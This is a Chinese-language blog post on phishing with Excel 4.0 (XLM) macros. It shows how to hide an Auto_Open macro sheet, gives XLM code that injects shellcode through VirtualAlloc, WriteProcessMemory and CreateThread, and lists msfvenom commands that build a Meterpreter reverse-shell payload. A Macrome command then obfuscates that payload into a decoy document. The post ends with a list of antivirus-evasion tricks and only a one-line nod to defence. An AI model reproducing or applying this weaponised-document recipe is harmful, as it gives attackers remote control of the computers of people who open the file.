釣魚小技巧-XLM

kidicc發表於2021-11-27

前言

XLM釣魚不是一項新的技術,自從公開以後,網上有很多對其的分析文章,這裡僅僅做一個分享和摸索記錄。文章中有問題的地方還請指出。

一個簡單的例子

新建一個excel表格,右鍵選擇表,選擇插入

插入ms excel4.0巨集表

隨後在單元格輸入以下內容,並將A1格內容改為Auto_Open,隨後隱藏這個表就好。

隨後儲存為啟用巨集的文件。

當魚兒點開,選擇啟用巨集時就會呼叫計算器,並彈窗

擴充套件及原理

通過Auto_Open可以讓巨集表自動執行,通過隱藏巨集表可以做到簡單的隱藏效果。

而在實戰環境中,我們更關注的是能否執行我們的shellcode。

Outflank研究發現,通過利用這些巨集的REGISTERCALL函式,可以呼叫 Win32 API,並可以將 shellcode 注入到正在執行的程式中。

REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)

REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category)

  • Module_name 是 DLL 的名稱,例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
  • Procedure_name 是 DLL 中匯出函式的名稱,例如“VirtualAlloc”。
  • Type 是一個字串,指定函式的返回值和引數的型別。
  • Alias 可以為函式指定的自定義名稱,稍後可以通過該名稱呼叫它。
  • Argument 可用於命名函式的引數,它是可選的。
  • Macro_type 應該是 1,代表函式。
  • Category 是類別編號(用於古老的 Excel 功能)。我們可以為我們的目的指定一個 1 到 14 之間的任意類別編號

如果你想深入瞭解可以參考excel 4.0函式說明文件

接下來我們構建一個可以執行我們自己shellcode的文件,這裡有幾個要注意的點

一個是shellcode中不能存在空位元組‘\x00’

另外一個就是WPM每次呼叫最多隻能寫入255 個位元組

我們來看一下網上相關的利用程式碼

=R1C2()  //呼叫指定位置程式碼
=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64)  //呼叫Kernel
=SELECT(R1C2:R1000:C2,R1C2)  //選擇shellcode列
=SET.VALUE(R1C3, 0)  //設定一個單元格
=WHILE(LEN(ACTIVE.CELL())>0)  
=CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)
=SET.VALUE(R1C3, R1C3 + 1)
=SELECT(, "R[1]C")
=NEXT()   //迴圈shellcode,呼叫RtilCopyMemory,迴圈往記憶體空間寫入,噹噹前shell程式碼單元格的長度一旦將單元格寫入記憶體,計數器+1並進入下一迴圈
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0)  //呼叫CreateThread建立執行緒
=HALT() //必須包含HALT或RETURN函式

這個時候可以使用工具生成我們自己的shellcode,並轉化即可。過程中會遇到EXCEL崩潰的情況,不過程式碼執行並不受影響。

通過msf命令,我們可以快速生成不包含空位元組的shellcode,通過SharpShooter工具可以幫助把shellcode轉化成可用的格式。當然網上也有很多指令碼可以利用,可以自行搜尋下。

使用工具先生成

生成後發現開啟直接崩潰,不過沒有關係。我們可以手動對程式碼進行調整

對於excel巨集呼叫,我們可以觀察其程式碼,發現其中的excel巨集片段是寫死的,猜測崩潰原因就在此

無論怎樣生成,其中程式碼都是不變的,所以就可能造成崩潰的問題。有閒工夫可以附加除錯看看什麼情況,不過這不在本文章的範圍。

看了一些專案發現,其呼叫的地址都是動態生成的

https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

這種不帶混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread現在肯定是被殺的,所以還是需要自動化的生成工具。

自動化利用

github上有很多的開源的工具,這裡我使用Macrome

使用msf生成64位和32位不包含空位元組的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin

``msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin`

使用工具執行,該命令會使用預設模板寫入並混淆。

``Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin`

當受害者點選啟用巨集就會上線。上線後如果關閉excel,那麼shell就會斷開。

另外使用64位監聽器去接收會引起excel的崩潰,因為測試環境是64位的,但是EXCEL安裝的是32位的。

32位監聽器正常上線

VT查殺率 21/59

網上工具自動生成還是存在查殺率較高的問題,如果想要做到免殺效果好的話,還是需要自己嘗試去編碼,開發開發工具。

bypass

因為XLM的構造特點,如Auto_Open、數量賊多的char函式等等,某些AV還不管三七二十一的給你誤報,所以bypass還是比較困難的。

現在這個釣魚方法已經工具化了,往往都整合了各種編碼,加密。這裡只介紹幾種從攻擊團伙的樣本中學到的一些姿勢。

1、圖片遮蓋

將巨集程式碼隱藏在圖片下,圖片可以是提示啟用巨集的引導性內容

2、互動式訊息彈窗

=IF(ALERT("此文件與您的服務程式不相容,是否還要繼續檢視此文件?",1),,CLOSE(TRUE))

程式碼是順序執行的,所以該執行的也不受影響,通過互動式彈窗的方式讓魚兒放鬆警惕

3、下載在轉儲

從網上下載惡意程式碼,儲存到某個位置。然後再呼叫執行

4、程式碼隨意分佈

將程式碼拆分儲存在各個分散的單元格中

5、更改字型顏色

修改字型顏色為白色

6、修改二進位制檔案

通過修改二進位制檔案的方式去隱藏巨集表,這樣無法通過普通方式取消隱藏來獲取巨集表

7、替代函式規避

通過可以用函式組合,或者通過日期函式獲取數字,通過算數運算傳入某些值

8、多個巨集表

構建多個巨集表,隱藏真正的惡意巨集表,拖慢分析

9、惡意程式碼隱藏到註釋

將shellcode內容加密防止註釋中再呼叫

防禦手段

1、禁用巨集,對於巨集文件提高警惕性

參考文章

https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

相關文章